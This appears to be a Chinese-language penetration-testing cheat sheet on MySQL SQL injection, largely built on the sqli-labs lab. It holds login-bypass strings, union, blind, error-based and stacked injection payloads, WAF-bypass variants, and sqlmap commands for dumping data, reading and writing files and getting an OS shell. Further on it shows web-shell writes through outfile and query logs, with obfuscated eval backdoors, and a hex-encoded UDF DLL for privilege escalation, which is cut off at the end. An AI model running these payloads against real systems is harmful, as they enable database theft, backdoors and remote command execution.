sql注入
数据库知识
数据库结构:
mysql
1 2 库-表-字段(数据)database ->table ->column -> value
常用sql语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # 数据库创建 mysql> create database school; # 查询数据库 mysql> show databases; # 创建表 mysql> create table student(id int(10),username varchar(20),mail varchar(20)); # 查询表 mysql> show tables; # 插入数据 mysql> insert into student(id ,username,mail) values(1,"zhangsan" ,"zs@redteam.com" ); mysql> insert into student(id ,username,mail) values(2,"lisi" ,"ls@redteam.com" ); # 查询数据 mysql> select mail from student;mysql> select * from student;# 修改数据 mysql> update student set username="zhangsan2" where id = 1 ; # 删除数据 mysql> delete from student where id = 1; # 删除表 mysql> drop table student; # 删除数据库 mysql> drop database school; # 查询登录的用户 mysql> select user();# 查询数据存放地址 mysql> select @@datadir;# 查询数据库的版本 mysql> select version();# where 条件,limit 条件 where 字段名=x 返回对应字段名为x的那一行 limit x,x 查询的数据 只返回第(x-1)行开始的内容 返回x行mysql> select * from users where id ='id' limit 0,1;
PHP连接数据库语句
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $host = "localhost" ;$user = "root" ;$pass = "root" ;$conn = mysql_connect ($host ,$user ,$pass ); mysql_select_db ("school" ); $sql = "select * from student" ;$result = mysql_query ($sql ); while ($row = mysql_fetch_array ($result )){ echo "id:" .$row ["id" ]." username:" .$row ["username" ]." mail:" .$row ["mail" ]."<br>" ; }?>
sql注入
原理
闭合符号如'、"、'),达到执行其他语句的效果
万能密码
sql语句:
SELECT * FROM users WHERE username= '".$username."' AND Password= '".md5($password)."'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ' or 1=' 1'or' ='or' "or " a"=" a a' having 1=1# a' having 1 =1-- admin'-- admin' or 1 =1-- admin' or 1=1# admin' or '1' ='1' -- admin' or ' 1'=' 1 admin' OR 4=4/* ' )or ('a' ='a or 4=4-- "or 4=4-- ' or 4 =4/*'or' a'=' a"or" ="a'='a 'or''=' 'or'='or' ' OR '1'='1 'OR 4=4%00 " or 4 =4%00 1'or' 1'=' 1 1 or '1' ='1' =1 1 or '1' ='1' or 4 =4 admin' UNION Select 1,1,1 FROM admin Where ' '=' -1%cf' union select 1,1,1 as password,1,1,1 %23
union注入
union的使用:sql语句1 union sql语句2
如果字段数相同的话会同时返回,且sql语句1出错时只返回sql语句2
注入流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 判断注入点:1 or 1 =1 1 and 1 =2 union 1 ' and 1 =1 # 1 ' and 1 =2 # 1 ' or 1 =1 # 1 ' union ……# 获取字段数量,查看回显位置-1 ' order by 4 # -1 ' union select 1 ,2 ,3 # 查询库-1 ' union select 1 ,2 ,database ()# 查询库中表名-1 ' union select 1 ,2 ,table_name from information_schema.tables where table_schema=database () limit 0 ,1 # 查询字段名-1 ' union select 1 ,2 ,group_concat (column_name) from information_schema.columns where table_name='users' limit 0 ,1 # 查数据-1 ' union select 1 ,2 ,id from sqli.users limit 0 ,1
布尔盲注
1 2 3 4 1 ' and substr(database(),1,1)=' s'--+ 1' and length(database ())>=1 1 ' and length(select database())>=1--+ 1' and ascii(substr((database (),1 ,1 ))>80
报错注入
updatexml
1 2 3 4 5 6 7 8 9 10 0x3a 、0x7e 是为了在xpath中是语法错误的 http://127.0 .0 .1 /sqli/Less-2 /?id=1 and updatexml(1 ,concat(0x3a ,database (),0x3a ),1 ) 表名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and updatexml(1 ,concat(0x7e ,(select group_concat(table_name ) from information_schema.tables where table_schema='security' ),0x7e ),1 ) 字段名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and updatexml(1 ,concat(0x7e ,(select group_concat(column_name ) from information_schema.columns where table_schema='security' and table_name ='users' ),0x7e ),1 ) 数据: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and updatexml(1 ,concat(0x7e ,(select group_concat(id,0x7e ,username,0x7e ,password ) from security .users),0x7e ),1 ) 数据: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and updatexml(1 ,concat(0x7e ,(select group_concat(id,0x7e ,username,0x7e ,(select password from users limit 0 ,1 )) from security .users),0x7e ),1 )
1 2 3 4 5 6 7 8 9 10 11 12 描述:使用xpath表示法从XML 字符串中提取值 xml_docment:xml 标记 Xpthstring: 显示输入语句 new_value:新值 数据库名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and extractvalue(1 ,concat(0x7e ,concat(database ()))) 表名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and extractvalue(1 ,concat(0x7e ,concat((select group_concat(table_name ) from information_schema.tables where table_schema='security' )))) 字段名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and extractvalue(1 ,concat(0x7e ,concat((select group_concat(column_name ) from information_schema.columns where table_schema='security' and table_name ='users' )))) 数据: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and extractvalue(1 ,concat(0x7e ,(select group_concat(id,0x7e ,username,0x7e ,password ) from security .users)))
floor()
floor的讲解参考:https://www.cnblogs.com/litlife/p/8472323.html
1 2 3 4 5 6 7 8 9 floor,count,group by 冲突报错 数据库名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and (select 1 from (select count(*),concat(database (),0x7e ,floor(rand(0 )2 ))x from information_schema.tables group by x) a) 表名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and (select 1 from (select count(),concat('~' ,(select table_name from information_schema.tables where table_schema='security' limit 3 ,1 ),'~' ,floor(rand(0 )2 )) as a from information_schema.tables group by x)a) 字段名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and (select 1 from (select count(),concat('~' ,(select column_name from information_schema.columns where table_schema='security' limit 5 ,1 ),'~' ,floor(rand(0 )2 )) as a from information_schema.tables group by x)a) 数据: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and (select 1 from (select count() ,concat('~' (select concat(username,";",password ,";")from security .users limit 5 ,1 ),floor(rand(0 )*2 ))x from security .users group by x)a)
exp()
1 2 3 4 5 6 7 8 数据库名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and exp(~(select *from (select database ())x)) 表名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and exp(~(select *from (select group_concat(table_name ) from information_schema.tables where table_schema='security' )x)) 字段名: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and exp(~(select *from (select group_concat(column_name ) from information_schema.columns where table_schema='security' and table_name ='users' )x)) 数据: http://127.0 .0 .1 /sqli/Less-2 /?id=1 and exp(~(select *from (select group_concat(username,0x7e ,password ) from security .users)x))
其他
参考https://blog.csdn.net/weixin_54217950/article/details/122938063
如果显示不完整: substring(database(),5,10)
Substring是字符截取函数,从数据里面第五个字符开始截取十个字符
时间盲注
if(expr1,expr2,expr3)->如果expr1是true,则返回expr2;否则返回expr3。
1 2 3 4 1 ' and if(length(database())>1 ,sleep(5 ),1 )--+1 ' and if(substr(database(),1 ,1 )='s',sleep(5 ),1 )--+1 ' and if(ord(substr(database(),1 ,1 ))=114 ,sleep(5 ),1 )--+
堆叠注入
1 2 3 4 5 1 ';show databases# 1 ;show databases# 1 ;show databases;1 ';show tables# 1 ';show columns from words#
改表、字段名
有words表和1919810931114514表情况下
1. 将表words的名称改为其他的(如words1),
2. 将1919810931114514改为words.
3. 将flag改为id,
4. 在输入栏中输入1' or 1=1,将其中的数据全部输出,即为flag.
语句:
1 2 3 rename tables words to words1 ;rename tables 1919810931114514 to words ;alter table words change flag id varchar (100 );#
sqlmap使用
参考资料:https://blog.csdn.net/u011377996/article/details/81368482
sql注入的防御: https://blog.51cto.com/u_12332766/2137035
https://www.freebuf.com/vuls/265308.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 常用语句: 判断是否存在注入 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 读取日志的请求进行检测 sqlmap -l request.txt 查询当前的所有数据库 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --dbs 获取数据库下的表名 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security --tables 获取表中的字段名 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security -T users --columns 获取字段的内容 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security -T users -C username,password --dump 获取数据库的所有用户 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --users 获取数据库用户的密码 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --password 获取当前数据库的名称 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --current-db 获取当前数据库的用户 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --current-user sqlmap获取数据库名、数据库表、数据库字段 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --current-db sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security --tables sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security -T users --columns 获取指定表中的数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 -D security -T users --dump 获取所有表的数据 sqlmap -u http://127.0.0.1/sqli-labs/Less-1/ ?id=1 --dump-all sqlmap读取系统文件 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/ ?id=1 --file-read=/etc/os-release sqlmap写入系统文件 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/ ?id=1 --file-write=/root/test .php --file-dest=/var/www/html/test .php sqlmap执行系统命令 sqlmap -u http://192.168.75.141/sqli-labs/Less-1/ ?id=1 --os-shell 参数:--level 探测等级:1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。--risk 危险登录:1-3,默认为1,等级越高,越可能对数据库造成破坏--id-dba 确认当前用户为管理权限(是否为root权限,mssql下最高权限为sa)--sql-shell 运行自定义sql语句--os-cmd ,--os-shell 运行任意操作系统命令--file-read 从数据库服务器中读取文件--file-write 上传文件到数据库服务器中--flush-session 清空已保存的会话信息--dbs 所有数据库--current-db 网站当前数据库--users 所有数据库用户--current-user 当前数据库用户--random-agent 构造随机user-agent--passwords 数据库密码--proxy http://local :8080 –threads 10 (可以自定义线程加速) 代理--time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)--threads= 使用多少线程
Bypass waf
绕过and、or
绕过空格
绕过order by
1 1 /**/ order/*/ // // /*/ by 3
绕过union select
1 2 3 1 /**/u nion/*/ // // /*/ /*!50441select*/ 1 ,2 ,3 unIon selECt
绕过database(),user()
1 1 /**/u nion/*/ // // /*/ /*!50441select*/ 1 ,database(/*/ // */),user(/ *// /*/ )
获取表名
1 1 union 1 ,2 ,group_concat(table_name ) from information_schema.tables where table_schema=database ()
获取列名
1 1 /**/u nion/*/ // // /*/ /*!50441select*/ %201 ,2 ,group_concat(column_name) from information_schema.columns where%20 table_schema=database(/*/ // */) and/ *// // /*/ table_name="admin"
获取数据
1 1 union 1 ,group_concat(password ),group_concat(username) from admin
fuzz
mysql写shell、提权
shell
一般情况下 Linux 系统下面权限分配比较严格,MySQL
用户一般情况下是无法直接往站点根目录写入文件的,在 Windows
环境下成功率会很高。
outfile和dumpfile
条件
要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
gpc为off,on的话单引号被转义了,语句就不能正常执行了
要有file权限,默认情况下只有root有
select user,file_priv from mysql.user;
对目录要有写权限
secure_file_priv的值非NULL或为导出的绝对路径
secure_file_priv的值在mysql配置文件my.ini中设置,这个参数用来限制数据导入导出
Mysql>=5.5.53 默认为NULL,即默认禁止导入导出 Mysql<5.5.53
默认为空,即默认无限制
show global variables like '%secure_file_priv%';
union
1 2 3 4 5 ?id=1' union select 1,' <?php phpinfo ();?> ',3 into outfile 'C:/shell.php'%23 ?id=1' union select 1,' <?php phpinfo ();?> ',3 into dumpfile 'C:/shell.php'%23 hex id=-1' union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "C:/shell.php"%23
非union
使用fields terminated by与lines terminated by写shell
1 2 3 4 ?id=1 into outfile 'C:/info.php' FIELDS TERMINATED BY ' <?php phpinfo ();?> '%23 ?id=1 into outfile 'C:/info.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e %23 ?id=1 into outfile 'C:/info.php' lines terminated by ' <?php phpinfo ();?> '%23 ?id=1 into outfile 'C:/info.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e %23
outfile和dumpfile的区别
outfile
1 2 3 4 支持多行数据同时导出 使用union 联合查询时,要保证两侧查询的列数相同 会在换行符制表符后面追加反斜杠 会在末尾追加换行(所以不能直接写入二进制文件)
dumpfile
1 2 3 4 每次只能导出一行数据 不会在换行符制表符后面追加反斜杠 不会在末尾追加换行 如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file ,应该手动添加 limit 限制
日志写shell(general_log)
secure_file_priv Mysql>=5.5.53
默认为NULL,即默认禁止导入导出 Mysql<5.5.53
默认为空,即默认无限制
在5.5.53版本后无法用sql语句修改secure_file_priv
,利用日志将shell写入日志中
条件
对目录要有写权限
高权限运行 MySQL 或者 Apache
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复) show variables like '%general%'; 开启日志监测,默认关闭(如果一直开文件会很大的) set global general_log = on; 设置日志路径 set global general_log_file = '/var/www/html/info.php'; 执行查询,写入shell select ' <?php phpinfo ();?> '; 结束后,恢复日志路径,关闭日志监测 set global general_log = off; SQL查询免杀shell select " <?php $sl = create_function ('' , @$_REQUEST ['cmd' ]);$sl ();?> "; SELECT " <?php $p = array ('f' =>'a' ,'pffff' =>'s' ,'e' =>'fffff' ,'lfaaaa' =>'r' ,'nnnnn' =>'t' );$a = array_keys ($p );$_ =$p ['pffff' ].$p ['pffff' ].$a [2 ];$_ = 'a' .$_ .'rt' ;$_ (base64_decode ($_REQUEST ['cmd' ]));?> ";
慢查询getshell(slow_query_log)
如果是普通日志,开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错
使用慢查询日志时,只有当查询时间超过系统时间时才会记录在日志中
1 2 3 4 5 6 7 8 9 10 查看慢查询信息是否开启show variables like '%slow_query_log%' ; 启用慢查询日志(默认禁用)set global slow_query_log= 1 ; 修改日志文件路径set global slow_query_log_file= 'C:\\phpStudy\\WWW\\shell.php' ; 查看写入慢日志的时间要求show global variables like '%long_query_time%' 执行查询,写入shellselect '<?php @eval($_POST[abc]);?>' or sleep(11 );
udf提权
user defined function,用户自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在
MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL
语句中调用,就像调用本机函数 version () 等方便。
udf在mysql>=5.1的版本中,存在于mysql/lib/plugin目录下,文件后缀为.dll,常用c语言编写。
流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 查看secure_file_privshow variables like '%secure_file_priv%' ; 查看插件目录show variables like '%plugin%' ; 如果没有,手工创建(mysql5.1 以后基本不可能成功)select 1 into dumpfile 'D:\\env\\php\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$index_allocation' ; 上传dll后,创建自定义函数create function sys_eval returns string soname 'lib_mysqludf_sys_64.dll' ; 导入成功后查看一下mysql函数里面是否新增了sys_eval函数:select * from mysql.func where name = 'sys_eval' ; 执行命令select sys_eval('whoami' ); 删除函数drop function sys_eval;
这里注意如果有webshell可以直接上传dll或so文件就直接上传即可
如果有注入,但是无webshell,可以利用sqlmap,因为 GET
有字节长度限制 ,所以往往 POST
注入才可以执行这种攻击
1 sqlmap -u "http://localhost:3306/" --data= "id=1" --file-write= "./lib_mysqludf_sys_64.so" --file-dest= "/usr/lib/mysql/plugin/udf.so"
如果没有注入,但可以操作原生sql语句,例如进入phpmyadmin中
利用16进制into
dumpfile写入,具体payload查询:https://www.sqlsec.com/tools/udf.html
1 2 直接 SELECT 查询十六进制写入 SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'D:\\ env\\ php\\ phpstudy_pro\\ Extensions\\ MySQL5.7.26\\ lib\\ plugin\\ 